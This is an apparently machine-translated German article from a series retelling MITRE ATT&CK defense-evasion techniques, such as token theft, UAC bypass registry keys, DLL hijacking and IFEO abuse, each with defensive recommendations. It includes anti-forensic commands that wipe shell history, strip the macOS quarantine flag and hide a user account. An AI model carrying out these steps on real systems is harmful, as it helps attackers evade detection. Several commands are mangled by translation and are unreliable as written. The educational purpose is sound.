Links zu allen Teilen:Teil 1. Erstzugriff erhalten (Erstzugriff)Teil 2. AusführungTeil 3. Befestigung (Persistenz)Teil 4. Eskalation von BerechtigungenTeil 5. VerteidigungshinterziehungTeil 6. Abrufen von Anmeldeinformationen (Zugriff auf Anmeldeinformationen)Teil 7. EntdeckungTeil 8. Seitliche BewegungTeil 9. Datenerfassung (Erfassung)Teil 10 ExfiltrationTeil 11. Befehl und KontrolleIm Abschnitt „Bypass-Schutz“ werden Techniken beschrieben, mit denen ein Angreifer böswillige Aktivitäten verbergen und deren Erkennung durch Schutzwerkzeuge verhindern kann. In den Bypass-Techniken der Verteidigung sind verschiedene Variationen von Techniken aus anderen Abschnitten der Angriffskette enthalten, die zur Überwindung spezifischer Abwehrmaßnahmen und vorbeugender Maßnahmen der verteidigenden Seite beitragen. Verteidigungsbypass-Techniken werden wiederum in allen Phasen eines Angriffs angewendet.
Der Autor ist nicht verantwortlich für die möglichen Konsequenzen der Anwendung der im Artikel aufgeführten Informationen und entschuldigt sich auch für mögliche Ungenauigkeiten in einigen Formulierungen und Begriffen. Die veröffentlichten Informationen sind eine kostenlose Nacherzählung des Inhalts von MITRE ATT & CK .System: Windows
Rechte: Benutzer, Administrator
Beschreibung: Angreifer können Zugriffstoken verwenden, um Aktionen in verschiedenen Sicherheitskontexten für Benutzer oder Systeme auszuführen und so die Erkennung böswilliger Aktivitäten zu vermeiden. Ein Gegner kann die Windows-API-Funktionen verwenden, um Zugriffstoken aus vorhandenen Prozessen zu kopieren (Token-Diebstahl). Dazu muss er sich im Kontext eines privilegierten Benutzers (z. B. eines Administrators) befinden. Der Diebstahl von Zugriffstoken wird normalerweise verwendet, um die Berechtigungen vom Administrator auf das System zu erhöhen. Ein Gegner kann auch ein Kontozugriffstoken zur Authentifizierung auf einem Remote-System verwenden, wenn dieses Konto über die erforderlichen Berechtigungen auf dem Remote-System verfügt. Es gibt drei Hauptmethoden, um Zugriffstoken zu missbrauchen.
Diebstahl und Identitätswechsel von Token.Der Identitätswechsel von Token ist die Fähigkeit des Betriebssystems, Threads in einem anderen Sicherheitskontext als dem Kontext des Prozesses zu starten, zu dem dieser Thread gehört. Mit anderen Worten, die Personifizierung von Token ermöglicht es Ihnen, Aktionen im Namen eines anderen Benutzers auszuführen. Ein Gegner kann ein Zugriffstoken mithilfe der Funktion
DuplicateTokenEX duplizieren und mit
ImpersonateLoggedOnUser einen Thread im Kontext eines angemeldeten Benutzers
aufrufen oder mit
SetThreadToken einem Stream ein Zugriffstoken zuweisen.
Erstellen Sie einen Prozess mit einem Zugriffstoken.Ein Angreifer kann mithilfe der Funktion
DuplicateTokenEX ein Zugriffstoken erstellen und es dann mit
CreateProcessWithTokenW verwenden , um einen neuen Prozess zu erstellen, der im Kontext des imitierten Benutzers ausgeführt wird.
Abrufen und Identifizieren von Zugriffstoken.Ein Gegner mit einem Benutzernamen und einem Kennwort kann mithilfe der
LogonUser- API-Funktion eine Anmeldesitzung erstellen, die eine Kopie des Sitzungszugriffstokens einer neuen Sitzung
zurückgibt , und dann mithilfe der
SetThreadToken-Funktion das empfangene Token dem Stream zuweisen.
Metasploit Meterpreter und
CobaltStrike verfügen über Tools zum Bearbeiten von Zugriffstoken, um die Berechtigungen zu erhöhen.
Schutzempfehlungen: Um die oben genannten Taktiken vollständig nutzen zu können, muss ein Angreifer über Systemadministratorrechte verfügen. Vergessen Sie daher nicht, die Berechtigungen normaler Benutzer einzuschränken. Jeder Benutzer kann Zugriffstoken austricksen, wenn er über legitime Anmeldeinformationen verfügt. Beschränken Sie die Möglichkeit für Benutzer und Gruppen, Zugriffstoken zu erstellen:
Gruppenrichtlinienobjekt: Computerkonfiguration> [Richtlinien]> Windows-Einstellungen> Sicherheitseinstellungen> Lokale Richtlinien> Zuweisung von Benutzerrechten: Erstellen Sie ein Token-Objekt .
Stellen Sie außerdem fest, wer die Prozesstoken von lokalen Diensten oder Netzwerkdiensten ersetzen kann:
Gruppenrichtlinienobjekt: Computerkonfiguration> [Richtlinien]> Windows-Einstellungen> Sicherheitseinstellungen> Lokale Richtlinien> Zuweisung von Benutzerrechten: Ersetzen Sie ein Token auf Prozessebene.System: Windows
Rechte: Benutzer, Administrator, System
Beschreibung: Der Windows Background Intelligent Transfer Service (BITS) ist ein Mechanismus zum asynchronen Übertragen von Dateien über das Component Object Model (COM) mit geringer Bandbreite. BITS wird normalerweise von Updatern, Instant Messenger und anderen Anwendungen verwendet, die es vorziehen, im Hintergrund zu arbeiten, ohne den Betrieb anderer Netzwerkanwendungen zu unterbrechen. Dateiübertragungsaufgaben werden als BITS-Aufgaben dargestellt, die eine Warteschlange mit einer oder mehreren Dateioperationen enthalten. Die Schnittstelle zum Erstellen und Verwalten von BITS-Aufgaben ist in den Tools PowerShell und BITSAdmin verfügbar. Angreifer können BITS zum Herunterladen, Starten und anschließenden Bereinigen verwenden, nachdem sie schädlichen Code ausgeführt haben. BITS-Tasks werden autonom in der BITS-Datenbank gespeichert, während das System keine neuen Dateien oder Registrierungseinträge erstellt. BITS wird häufig von der Firewall zugelassen. Mithilfe von BITS-Aufgaben können Sie im System Fuß fassen, indem Sie lange Aufgaben erstellen (standardmäßig 90 Tage) oder ein beliebiges Programm nach Abschluss einer BITS-Aufgabe oder eines BITS-Fehlers aufrufen (auch nach dem Neustart des Betriebssystems).
Schutzempfehlungen: BITS ist eine Standardfunktionalität des Betriebssystems, deren Verwendung schwer von böswilligen Aktivitäten zu unterscheiden ist. Daher sollte der Schutzvektor darauf ausgerichtet sein, den Start bösartiger Tools zu Beginn der Angriffskette zu verhindern. Durch das vollständige Deaktivieren von BITS können legitime Software-Updates gestoppt werden. Sie können jedoch in Betracht ziehen, den Zugriff auf die BITS-Schnittstelle auf bestimmte Benutzer und Zugriffsgruppen zu beschränken, und Sie können auch die Lebensdauer von BITS-Aufgaben begrenzen, die durch Ändern der folgenden Schlüssel festgelegt wird:
- HKEY_LOCAL_MACHINE \ Software \ Policies \ Microsoft \ Windows \ BITS \ JobInactivityTimeout;
- HKEY_LOCAL_MACHINE \ Software \ Policies \ Microsoft \ Windows \ BITS \ MaxDownloadTime .
System: Windows, Linux, MacOS
Beschreibung: Einige Sicherheitsfunktionen scannen Dateien, indem sie nach statischen Signaturen suchen. Gegner können schädlichen Dateien Daten hinzufügen, um ihre Größe auf einen Wert zu erhöhen, der die maximal zulässige Größe der gescannten Datei überschreitet, oder den Hash der Datei ändern, um die schwarze Liste zum Blockieren des Starts von Dateien durch Hashes zu umgehen.
Schutzempfehlungen: Identifizieren Sie potenziell gefährliche Software, indem Sie Tools wie
AppLocker , Whitelist-Tools und Richtlinien für Softwareeinschränkungen anwenden.
System: Windows
Rechte: Benutzer, Administrator
Beschreibung: Es gibt viele Möglichkeiten, die
Benutzerkontensteuerung zu umgehen, von denen die häufigsten im
UACMe- Projekt implementiert sind. Regelmäßig werden neue Möglichkeiten zur Umgehung der
Benutzerkontensteuerung entdeckt, z. B. der Missbrauch der Systemanwendung
eventvwr.exe , mit der eine Binärdatei oder ein Skript mit erhöhten
Rechten ausgeführt werden kann. Schädliche Programme können auch in vertrauenswürdige Prozesse eingebettet werden, durch die die Benutzerkontensteuerung die Eskalation von Berechtigungen ermöglicht, ohne einen Benutzer dazu aufzufordern.
Um die Benutzerkontensteuerung mithilfe von eventvwr.exe zu umgehen, wird der Schlüssel in der Windows-Registrierung geändert:
[HKEY_CURRENT_USER] \ Software \ Classes \ mscfile \ shell \ open \ Befehl .
Um die Benutzerkontensteuerung mit sdclt.exe zu umgehen, werden die Schlüssel in der Windows-Registrierung geändert:
[HKEY_CURRENT_USER] \ Software \ Microsoft \ Windows \ CurrentVersion \ App Paths \ control.exe;
[HKEY_CURRENT_USER] \ Software \ Classes \ exefile \ shell \ runas \ command \ isolationCommand.Schutzempfehlungen: Entfernen Sie Benutzer aus der lokalen Administratorgruppe auf den geschützten Systemen. Aktivieren Sie nach Möglichkeit die höchste Schutzstufe in den UAC-Einstellungen.
System: Windows
Rechte: Benutzer
Beschreibung: Microsoft Connection Manager Profile Installer (cmstp.exe) ist das in Windows integrierte Dienstprogramm "Connection Manager Profile Installer". Cmstp.exe kann eine Inf-Datei als Parameter verwenden, sodass ein Angreifer eine spezielle böswillige INF zum Herunterladen und Ausführen von DLLs oder Scriptlets (* .sct) von Remoteservern unter Umgehung von AppLocker und anderen Sperren vorbereiten kann, da cmstp.exe mit einem digitalen Microsoft-Zertifikat signiert ist.
Schutzempfehlungen: Blockieren des Starts potenziell gefährlicher Anwendungen. Das
Starten von C: \ Windows \ System32 \ cmstp.exe wird überwacht oder vollständig blockiert.
System: Linux, MacOS
Rechte: Benutzer
Beschreibung: Zur Vereinfachung der Benutzer auf MacOS- und Linux-Systemen werden alle vom Benutzer im Terminal ausgeführten Befehle protokolliert. Benutzer können schnell einen Befehl ausführen, den sie zuvor in einer anderen Sitzung ausgeführt haben. Wenn sich ein Benutzer am System anmeldet, wird der Befehlsverlauf in der in der Variablen HISTFILE angegebenen Datei gespeichert. Wenn sich der Benutzer abmeldet, wird der Befehlsverlauf im Ausgangsverzeichnis des Benutzers ~ / .bash_history gespeichert. Die Befehlsverlaufsdatei kann auch Kennwörter enthalten, die vom Benutzer im Klartext eingegeben wurden. Angreifer können sowohl in den Befehlsverlaufsdateien nach Kennwörtern suchen als auch Maßnahmen ergreifen, um zu verhindern, dass ihre böswilligen Aktivitäten in den Befehlsverlauf geschrieben werden. Beispiel:
nicht gesetzte HISTFILE;
export HISTFILESIZE = 0;
Geschichte -c;
rm ~ / .bash_history.Schutzempfehlungen
: Wenn Sie verhindern, dass Benutzer bash_history-Dateien löschen oder schreiben, kann ein Gegner diese Dateien nicht missbrauchen. Wenn Sie außerdem die Benutzerrechte zum Bearbeiten der Variablen HISTFILE und HISTFILESIZE einschränken, wird das Befehlsausführungsprotokoll beibehalten.
System: Windows, MacOS
Beschreibung: Das digitale Signieren des Codes bietet eine Authentifizierung des Entwicklers und eine Garantie dafür, dass die Datei nicht geändert wurde. Wie Sie wissen, können Gegner jedoch Signaturen verwenden, um Malware als legitime Binärdateien zu tarnen. Zertifikate für digitale Signaturen können von einem Angreifer erstellt, manipuliert oder gestohlen werden. Die Codesignatur für die Softwareüberprüfung beim ersten Start wird unter Windows, MacOS und OS X verwendet und wird aufgrund der dezentralen Struktur der Plattform unter Linux nicht verwendet. Codesignaturzertifikate können verwendet werden, um Sicherheitsrichtlinien zu umgehen, die erfordern, dass nur signierter Code auf dem System ausgeführt wird.
Schutzempfehlungen: Die Verwendung von „weißen Listen“ von Software und die Auswahl zuverlässiger Softwarehersteller vor der Überprüfung einer digitalen Signatur kann die Ausführung von böswilligem oder nicht vertrauenswürdigem Code im geschützten System verhindern.
System: Windows
Rechte: System
Beschreibung: Einige Cyberkriminelle können ausgefeilte Tools verwenden, um Computerkomponenten zu kompromittieren und schädliche Firmware darauf zu installieren, die schädlichen Code außerhalb des Betriebssystems oder sogar der Hauptsystem-Firmware (Bios) ausführt. Die Technik besteht darin, Computerkomponenten zu flashen, die nicht über ein integriertes Integritätsprüfungssystem verfügen, z. B. Festplatten. Ein Gerät mit bösartiger Firmware kann trotz Ausfällen und Überschreiben der Festplatte ständigen Zugriff auf das angegriffene System bieten. Die Technik wurde entwickelt, um den Softwareschutz und die Integritätskontrolle zu überwinden.
System: Windows
Rechte: Benutzer
Beschreibung: Microsoft Component Object Model (COM) ist eine Technologie zum Erstellen von Software basierend auf interagierenden Komponenten eines Objekts, die jeweils in vielen Programmen gleichzeitig verwendet werden können. Angreifer können COM verwenden, um schädlichen Code einzufügen, der anstelle von legitimem Code ausgeführt werden kann, indem COM-Links und -Links erfasst werden. Um ein COM-Objekt abzufangen, müssen Sie den Link zu einer legitimen Systemkomponente in der Windows-Registrierung ersetzen. Ein weiterer Aufruf dieser Komponente führt schädlichen Code aus.
Schutzempfehlungen: Vorbeugende Maßnahmen zur Verhinderung dieses Angriffs werden nicht empfohlen, da COM-Objekte Teil des Betriebssystems sind und in der Systemsoftware installiert sind. Das Blockieren von Änderungen an COM-Objekten kann die Stabilität des Betriebssystems und der Software beeinträchtigen. Der Schutzvektor wird empfohlen, um schädliche und potenziell gefährliche Software zu blockieren.
System: Windows
Rechte: Benutzer, Administrator, System
Beschreibung: Die Taktik besteht darin, die Windows-Systemsteuerungselemente von Angreifern zu verwenden, um beliebige Befehle als Nutzlast auszuführen (z. B. den
Reaver- Virus). Schädliche Objekte können als Standardkontrollen getarnt und mithilfe von Phishing-Anhängen an das System übermittelt werden. Dienstprogramme zum Anzeigen und Konfigurieren von Windows-Einstellungen sind registrierte Exe-Dateien und CPL-Dateien von Windows-Systemsteuerungselementen. CPL-Dateien werden tatsächlich in DLLs umbenannt, die auf folgende Arten ausgeführt werden können:
- direkt von der Kommandozeile: control.exe <file.cpl> ;
- Verwenden der API-Funktionen von shell32.dll: rundll32.exe shell32.dll, Control_RunDLL <file.cpl> ;
- Doppelklicken Sie auf die CPL-Datei.
In System32 gespeicherte registrierte CPLs werden automatisch in der Windows-Systemsteuerung angezeigt und haben eine eindeutige Kennung in der Registrierung:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpaceInformationen zu anderen CPLs, z. B. der Anzeigename und der Pfad zur CPL-Datei, werden in den Abschnitten
CPLs und
Erweiterte Eigenschaften des Abschnitts gespeichert:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Control PanelEinige über die Shell gestartete CPLs sind im folgenden Abschnitt registriert:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Controls Folder \ {name} \ shellex \ PropertySheetHandlersSchutzempfehlung: Beschränken Sie den Start und die Speicherung von Elementdateien der Systemsteuerung nur in geschützten Ordnern (z. B.
C: \ Windows \ System32 ), aktivieren Sie die Benutzerkontensteuerung (User Account Control, UAC) und AppLocker, um nicht autorisierte Änderungen am System zu verhindern. Natürlich die Verwendung von Antivirensoftware.
System: Windows
Rechte: Administrator
Beschreibung: DCShadow umfasst die Erstellung eines gefälschten Domänencontrollers im angegriffenen Netzwerk, mit dessen Hilfe ein Angreifer mithilfe der API-Funktionalität zur Interaktion mit der angegriffenen CD AD-Daten ändern kann, einschließlich Änderungen an Domänenobjekten, Anmeldeinformationen und Schlüsseln, ohne von SIEM-Systemen bemerkt zu werden. Das Toolkit zur Implementierung des Angriffs ist Teil von mimikatz. DCShadow kann verwendet werden, um einen SID-History-Injection-Angriff durchzuführen und Backdoors für die weitere Konsolidierung im System zu erstellen.
Schutzempfehlungen
: Da die DCShadow-Technik auf dem Missbrauch von AD-Entwurfsfunktionen basiert, sollte der Schutzvektor so ausgerichtet werden, dass der Start von Angriffstools verhindert wird. Ein Angriff kann erkannt werden, indem die Netzwerkreplikation der CD-Replikation analysiert wird, die alle 15 Minuten ausgeführt wird, jedoch von einem Angreifer außerhalb des Zeitplans verursacht werden kann.
System: Windows
Rechte: Benutzer, Administrator, System
Beschreibung: Die Technik besteht darin, Schwachstellen im Algorithmus auszunutzen, um von den Anwendungen die DLL-Dateien zu finden, die sie zum Arbeiten benötigen (
MSA2269637 ). Häufig ist das DLL-Suchverzeichnis das Arbeitsverzeichnis des Programms, sodass Angreifer die Quell-DLL durch eine böswillige mit demselben Dateinamen ersetzen können.
Remote-Angriffe auf DLL-Suchen können ausgeführt werden, wenn das Programm sein aktuelles Verzeichnis in einem Remote-Verzeichnis installiert, z. B. einer Netzwerkfreigabe. Außerdem können Angreifer die Methode zum Suchen und Laden von DLLs direkt ändern, indem sie .manifest- oder .local-Dateien ersetzen, die DLL-Suchparameter beschreiben. Wenn das angegriffene Programm mit einem hohen Maß an Berechtigungen arbeitet, wird die von ihm geladene schädliche DLL auch mit hohen Rechten ausgeführt. In diesem Fall kann die Technik verwendet werden, um die Berechtigungen des Benutzers für den Administrator oder das System zu erhöhen.
Schutzempfehlungen
: Verhindern Sie das Laden von Remote-DLLs (standardmäßig in Windows Server 2012+ aktiviert und mit Updates für XP + und Server 2003+ verfügbar). Aktiviert den sicheren Suchmodus für DLLs, wodurch
Suchverzeichnisse auf Verzeichnisse wie
% SYSTEMROOT% beschränkt werden, bevor eine DLL-Suche im aktuellen Anwendungsverzeichnis durchgeführt wird.
Aktivieren des sicheren DLL-Suchmodus:
Computerkonfiguration> [Richtlinien]> Administrative Vorlagen> MSS (Legacy): MSS: (SafeDllSearchMode) Aktivieren Sie den sicheren DLL-Suchmodus.Entsprechender Registrierungsschlüssel:
HKLM \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ SafeDLLSearchMode.Überlegen Sie, ob Sie ein geschütztes System prüfen möchten, um DLL-Mängel mithilfe von Tools wie PowerUP in PowerSploit zu beheben. Vergessen Sie nicht, schädliche und potenziell gefährliche Software zu blockieren und die
Empfehlungen von Microsoft zu befolgen .
System: Windows
Beschreibung: Der Angriff basiert auf Schwachstellen der Side-by-Side-Technologie für die parallele Ausführung (WinSxS oder SxS), deren Kern darin besteht, Anwendungen zu aktivieren, die inkompatible Versionen derselben Codekomponenten verwenden. Das Komponentenassembly-Repository befindet sich im Ordner c: \ windows \ wonxs. Jeder Assembly sollte ein Manifest zugeordnet sein - eine XML-Datei mit Informationen zu Dateien, Klassen, Schnittstellen, Bibliotheken und anderen Elementen der Assembly. Ähnlich wie bei der Entführung einer DLL-Suche können Gegner eine Benutzeranwendung dazu veranlassen, eine schädliche DLL "seitlich" zu laden, deren Pfad in der Assemblymanifestdatei angegeben wurde.
% TEMP% \ RarSFX% \% ALLUSERS PROFIL% \ SXS;
% TEMP% \ RarSFX% \% ALLUSERS PROFIL% \ WinSxS.Schutzempfehlungen: Regelmäßige Software-Updates, Installation von Anwendungen in schreibgeschützten Verzeichnissen. Verwenden von sxstrace.exe zum Überprüfen von Manifestdateien auf Sicherheitslücken beim späten Laden.
System: Windows
Rechte: Benutzer
Beschreibung: Angreifer können die Verschleierung von Dateien und Informationen verwenden, um bösartigen Code und Artefakte zu verbergen, die bei einer Invasion übrig geblieben sind.
Um solche Dateien zu verwenden, verwenden Gegner umgekehrte Techniken zum Deobfuscieren / Decodieren von Dateien oder Informationen. Solche Methoden können die Verwendung von Malware, verschiedenen Skripten oder Systemdienstprogrammen beinhalten. Beispielsweise gibt es eine bekannte Methode zur Verwendung des Dienstprogramms certutil zum Dekodieren der ausführbaren Datei eines RAS-Tools, das in einer Zertifikatdatei versteckt ist. Ein weiteres Beispiel ist die Verwendung des Befehls copu / b, um binäre Fragmente in einer böswilligen Nutzlast (Payload) zu sammeln.Payload-Dateien können komprimiert, archiviert oder verschlüsselt werden, um eine Erkennung zu vermeiden. Manchmal kann eine Benutzeraktion erforderlich sein, um eine Deobfuscation oder Entschlüsselung durchzuführen. Der Benutzer muss möglicherweise ein Kennwort eingeben, um eine komprimierte oder verschlüsselte Datei oder ein Skript mit schädlichem Inhalt zu öffnen. Schutzempfehlungen: Identifizierung und Blockierung unnötiger Systemdienstprogramme oder potenziell gefährlicher Software, mit denen Dateien mithilfe von Tools wie AppLocker und Richtlinien für Softwareeinschränkungen entschlüsselt oder entschlüsselt werden können.System: Windows, Linux, macOSBeschreibung: Angreifer können verschiedene Sicherheitsfunktionen deaktivieren, Ereignisprotokollierungsprozesse und Registrierungsschlüssel zerstören, damit Sicherheitstools nicht bei böswilligen Aktivitäten gestartet werden, oder andere Methoden verwenden, um den Betrieb von Sicherheitsscannern oder Ereignisberichten zu stören.Schutzempfehlungen: Stellen Sie sicher, dass die Zugriffsrechte auf die Prozesse, die Registrierung und die Dateien korrekt konfiguriert sind, um eine unbefugte Trennung oder Störung des Betriebs von Sicherheitstools zu verhindern.System: Windows, Linux, macOSRechte: BenutzerBeschreibung: Wie bei jeder Software kann Sicherheitssoftware Sicherheitslücken aufweisen, die ein Angreifer verwenden kann, um sie zu deaktivieren oder zu umgehen.Schutzempfehlungen: Regelmäßige Software-Updates, Entwicklung und Implementierung eines Software-Schwachstellenmanagementprozesses. Durch die Verwendung von Virtualisierungs- und Mikrosegmentierungsanwendungen kann das Risiko einer möglichen Ausnutzung von Sicherheitslücken verringert werden.System: Windows-Rechte: Administrator,Systembeschreibung: Die Technik besteht darin, den zusätzlichen Speicher des Windows-Fensters, den sogenannten Extra Window Memory (EWM), zu missbrauchen. Die EWM-Größe beträgt 40 Byte, eignet sich zum Speichern eines 32-Bit-Zeigers und wird häufig verwendet, um einen Verweis auf Prozeduren anzugeben. Schadprogramme während der Angriffskette können einen Zeiger auf Schadcode im EWM platzieren, der anschließend vom infizierten Anwendungsprozess gestartet wird.Schutzempfehlungen:Angesichts der Tatsache, dass EWM-Injektionstechniken auf dem Missbrauch von Betriebssystementwicklungsfunktionen beruhen, müssen die Schutzbemühungen darauf gerichtet sein, den Start von Schadprogrammen und Schadwerkzeugen zu verhindern. Es wird empfohlen, potenziell gefährliche Software mithilfe von AppLocker, Whitelist-Anwendungen oder Richtlinien zur Einschränkung von Software zu identifizieren und zu blockieren.System: Windows, Linux, macOSRechte: Benutzerbeschreibung: Verschiedene Tools, Malware und andere vom Gegner verwendete Dateien können Spuren von Hackeraktivitäten im System hinterlassen. Angreifer können diese Artefaktdateien während einer Invasion löschen, um die Wahrscheinlichkeit zu verringern, dass ein Angriff erkannt wird, oder sie am Ende ihres Vorgangs löschen. Der Gegner kann sowohl spezielle Tools zur garantierten Zerstörung von Informationen (z. B. Windows Sysinternals Sdelete) als auch in das Betriebssystem integrierte Tools verwenden, z. B. DEL und ipher.Schutzempfehlungen: Blockieren Sie nach Möglichkeit den Start unnötiger Systemdienstprogramme, Tools von Drittanbietern und potenziell gefährlicher Software, mit der Dateien zerstört werden können.System: WindowsRechte: AdministratorBeschreibung: Windows kann Programmen den direkten Zugriff auf logische Volumes ermöglichen. Programme mit direktem Zugriff können Dateien direkt auf die Festplatte lesen und schreiben sowie die Datenstruktur des Dateisystems analysieren. Diese Methode umgeht die Dateizugriffskontrolle und die Dateisystemüberwachung. Dienstprogramme wie NinjaCopy dienen dazu, die oben genannten Aktionen in PowerShell auszuführen.Schutzempfehlungen: Blockieren potenziell gefährlicher Software.System: macOSRechte: Benutzer, AdministratorBeschreibung:MacOS und OS X verwenden die Gatekeper-Technologie, auf der nur vertrauenswürdige Software ausgeführt wird. Beim Herunterladen einer Anwendung aus dem Internet wird in der Datei com.apple.quarantine ein spezielles Attribut festgelegt, das angibt, dass Gatekeeper den Benutzer um Erlaubnis zum Ausführen der heruntergeladenen Datei bitten soll. Das Flag wird gesetzt, bevor die Datei auf der Festplatte gespeichert wird. Wenn der Benutzer versucht, die Datei zu öffnen, sucht der Gatekeeper nach dem entsprechenden Flag. Wenn eines vorhanden ist, fordert das System den Benutzer auf, den Start zu bestätigen und die URL anzuzeigen, von der die Datei heruntergeladen wurde. Anwendungen, die von einem USB-Laufwerk, einem optischen Laufwerk, einem Kinderlaufwerk oder einem Netzwerklaufwerk auf das System heruntergeladen wurden, führen nicht dazu, dass das Flag in der Datei com.apple.quarantine gesetzt wird. Einige Dienstprogramme und Dateien, die während des Schattenstarts in das angegriffene System gelangt sind (Drive-by-Compromiss-Technik),Verursachen Sie auch nicht, dass das Flag für Gatekeeper gesetzt wird, wodurch die Proxy-Prüfung umgangen wird. Das Vorhandensein des Quarantäne-Flags kann mit dem folgenden Befehl überprüft werden:xattr /path/to/MyApp.app .Das Flag kann auch mit attr entfernt werden. Dies erfordert jedoch eine Eskalation der Berechtigungen:sudo xattr -r -d com.apple.quarantine /path/to/MyApp.appSicherheitsempfehlungen: Zusätzlich zu Gatekeeper sollten Sie das Starten von Anwendungen verbieten, von denen nicht heruntergeladen wird Apple Store.System: Linux, macOSRechte: BenutzerBeschreibung: Die Umgebungsvariable HISTCONTROL repräsentiert eine Liste von Parametern zum Speichern des Befehlsverlaufs in der Datei ~ / .bash_history, wenn sich der Benutzer abmeldet. Beispielsweise gibt die Option "Ignorierraum" an, dass Zeilen, die mit einem Leerzeichen beginnen, nicht gespeichert werden müssen, und die Option "Ignoriert" deaktiviert das Speichern von Befehlen, die in einer Reihe wiederholt werden. Auf einigen Linux-Systemen ist die Option ignoreboth standardmäßig angegeben, was die Einbeziehung der beiden oben genannten Parameter impliziert. Dies bedeutet, dass der Befehl ls im Gegensatz zu ls nicht im Verlauf gespeichert wird.HISTCONTROL wird unter macOS nicht standardmäßig verwendet, kann jedoch vom Benutzer konfiguriert werden. Angreifer können die Funktionen der HISTCONTROL-Parameter verwenden, um keine Spuren ihrer Aktivität zu hinterlassen, indem sie einfach Leerzeichen vor den Befehlen einfügen.Sicherheitsempfehlungen: Verhindern Sie, dass Benutzer die HISTCONTROL-Variable ändern, und stellen Sie außerdem sicher, dass HISTCONTROL auf ignoreup eingestellt ist und nicht die Optionen ignoreboth und ignorespace enthält.System: Windows, Linux, macOSRechte: BenutzerBeschreibung: Unter Windows können Benutzer Dateien mit dem Befehl attrib ausblenden. Es reicht aus, das Attribut + h <Dateiname> anzugeben , um die Datei auszublenden, oder "+ s", um die Datei als System zu markieren. Durch Hinzufügen des Parameters "/ S" wendet das Attribut-Dienstprogramm die Änderungen rekursiv an. Unter Linux / Mac können Benutzer Dateien und Ordner einfach durch Angabe eines "." Am Anfang des Dateinamens ausblenden. Danach werden Dateien und Ordner vor der Finder-Anwendung und dem Dienstprogramm ls ausgeblendet.Unter macOS können Dateien mit UF_HIDDEN gekennzeichnet werden, wodurch ihre Sichtbarkeit in Finder.app deaktiviert wird, jedoch nicht verhindert wird, dass versteckte Dateien in Terminal.app angezeigt werden. Viele Anwendungen erstellen versteckte Dateien und Ordner, um den Arbeitsbereich des Benutzers nicht zu überladen. Beispielsweise erstellen SSH-Dienstprogramme einen versteckten SSH-Ordner, in dem eine Liste bekannter Hosts und Benutzerschlüssel gespeichert ist.Angreifer können die Möglichkeit nutzen, Dateien und Ordner auszublenden, um die Aufmerksamkeit der Benutzer nicht auf sich zu ziehen.Schutzempfehlungen: Die Verhinderung der Verwendung dieser Technik ist schwierig, da das Ausblenden von Dateien eine Standardfunktion des Betriebssystems ist.System: macOSRechte: Administrator, rootBeschreibung: Jedes macOS-Konto verfügt über eine Benutzer-ID, die bei der Benutzererstellung angegeben werden kann. Die Eigenschaften /Library/Preferences/com.apple.loginwindow die Option haben Hide500Users , die die Benutzer - IDs 500 und unten zum Login - Bildschirm versteckt. Durch Erstellen eines Benutzers mit einer Kennung <500 und Aktivieren von Hide500Users kann ein Angreifer seine Konten ausblenden:sudo dscl. -create / User / username UniqueID 401
sudo-Standardwerte write /Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUE Schutzempfehlungen:Befindet sich die Arbeitsstation in einer Domäne, kann die Gruppenrichtlinie die Möglichkeit zum Erstellen und Ausblenden von Benutzern einschränken. Ebenso wird die Möglichkeit zum Ändern der Eigenschaften /Library/Preferences/com.apple.loginwindow verhindert.System: macOSRechte: BenutzerBeschreibung: Die Optionen zum Starten von Anwendungen unter macOS und OS X sind in den Eigenschaftenplist-Dateien aufgeführt. Eines der Tags in diesen apple.awt.UIElement-Dateien umfasst das Ausblenden des Java-Anwendungssymbols vor dem Dock. In der Regel wird dieses Tag für Anwendungen verwendet, die in der Taskleiste ausgeführt werden. Angreifer können diese Funktion jedoch missbrauchen und schädliche Anwendungen ausblenden. Schutzempfehlungen: Überwachen Sie die Liste der Programme mit dem Tag apple.awt.UIElement in den Plist-Eigenschaften.System: WindowsRechte: Administrator, Systembeschreibung: Mit dem IFEO-Mechanismus (Image File Execution Options) können Sie einen Programmdebugger anstelle eines Programms ausführen, das zuvor vom Entwickler in der Registrierung angegeben wurde:- HKLM \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Ausführungsoptionen für Image-Dateien / [ausführbare Datei]
- HKLM \ SOFTWARE \ Wow6432Node \ Microsoft \ Windows NT \ CurrentVersion \ Ausführungsoptionen für Image-Dateien \ [ausführbare Datei] , wobei [ausführbare Datei] die ausführbare Binärdatei des Debuggers ist.
Wie bei Injektionen kann der Wert [ausführbare Datei] missbraucht werden, indem beliebiger Code ausgeführt wird, um die Berechtigungen zu erhöhen oder im System Fuß zu fassen. Schädliche Programme können IFEO verwenden, um den Schutz zu umgehen, indem sie Debugger registrieren, die verschiedene System- und Sicherheitsanwendungen umleiten und ablehnen.Schutzempfehlungen: Die beschriebene Technik basiert auf dem Missbrauch regulärer Betriebssystementwicklungstools. Daher können Einschränkungen zu Instabilität legitimer Software führen, z. B. Sicherheitsanwendungen. Die Bemühungen, die Verwendung von IFEO-Injektionstechniken zu verhindern, müssen sich auf die früheren Stadien der Angriffskette konzentrieren. Sie können einen solchen Angriff erkennen, indem Sie Prozesse mit Debug_process und überwachenDebug_only_this_process .System: WindowsBeschreibung: Angreifer versuchen möglicherweise, verschiedene von Sicherheitstools erfasste Indikatoren oder Ereignisse für weitere Analysen zu blockieren. Zu böswilligen Aktivitäten kann das Ändern von Sicherheitskonfigurationsdateien, Registrierungsschlüsseln oder das böswillige Umleiten von Telemetrieereignissen gehören.Beim Umgang mit Tools zur Analyse von Netzwerkaktivitäten kann ein Angreifer den Datenverkehr blockieren, der mit dem Senden von Berichten an den Sicherheitsverwaltungsserver verbunden ist. Dies kann auf viele Arten erfolgen, indem beispielsweise der lokale Prozess gestoppt wird, der für die Übertragung von Telemetrie verantwortlich ist, und eine Regel in der Firewall erstellt wird, um den Datenverkehr zu den Hosts zu blockieren, die für die Aggregation von Sicherheitsereignissen verantwortlich sind.Schutzempfehlungen:Stellen Sie sicher, dass Tracer und Ereignisabsender, Firewall-Richtlinien und andere verwandte Mechanismen durch entsprechende Berechtigungen und Zugriffskontrollen geschützt sind. Erwägen Sie, die 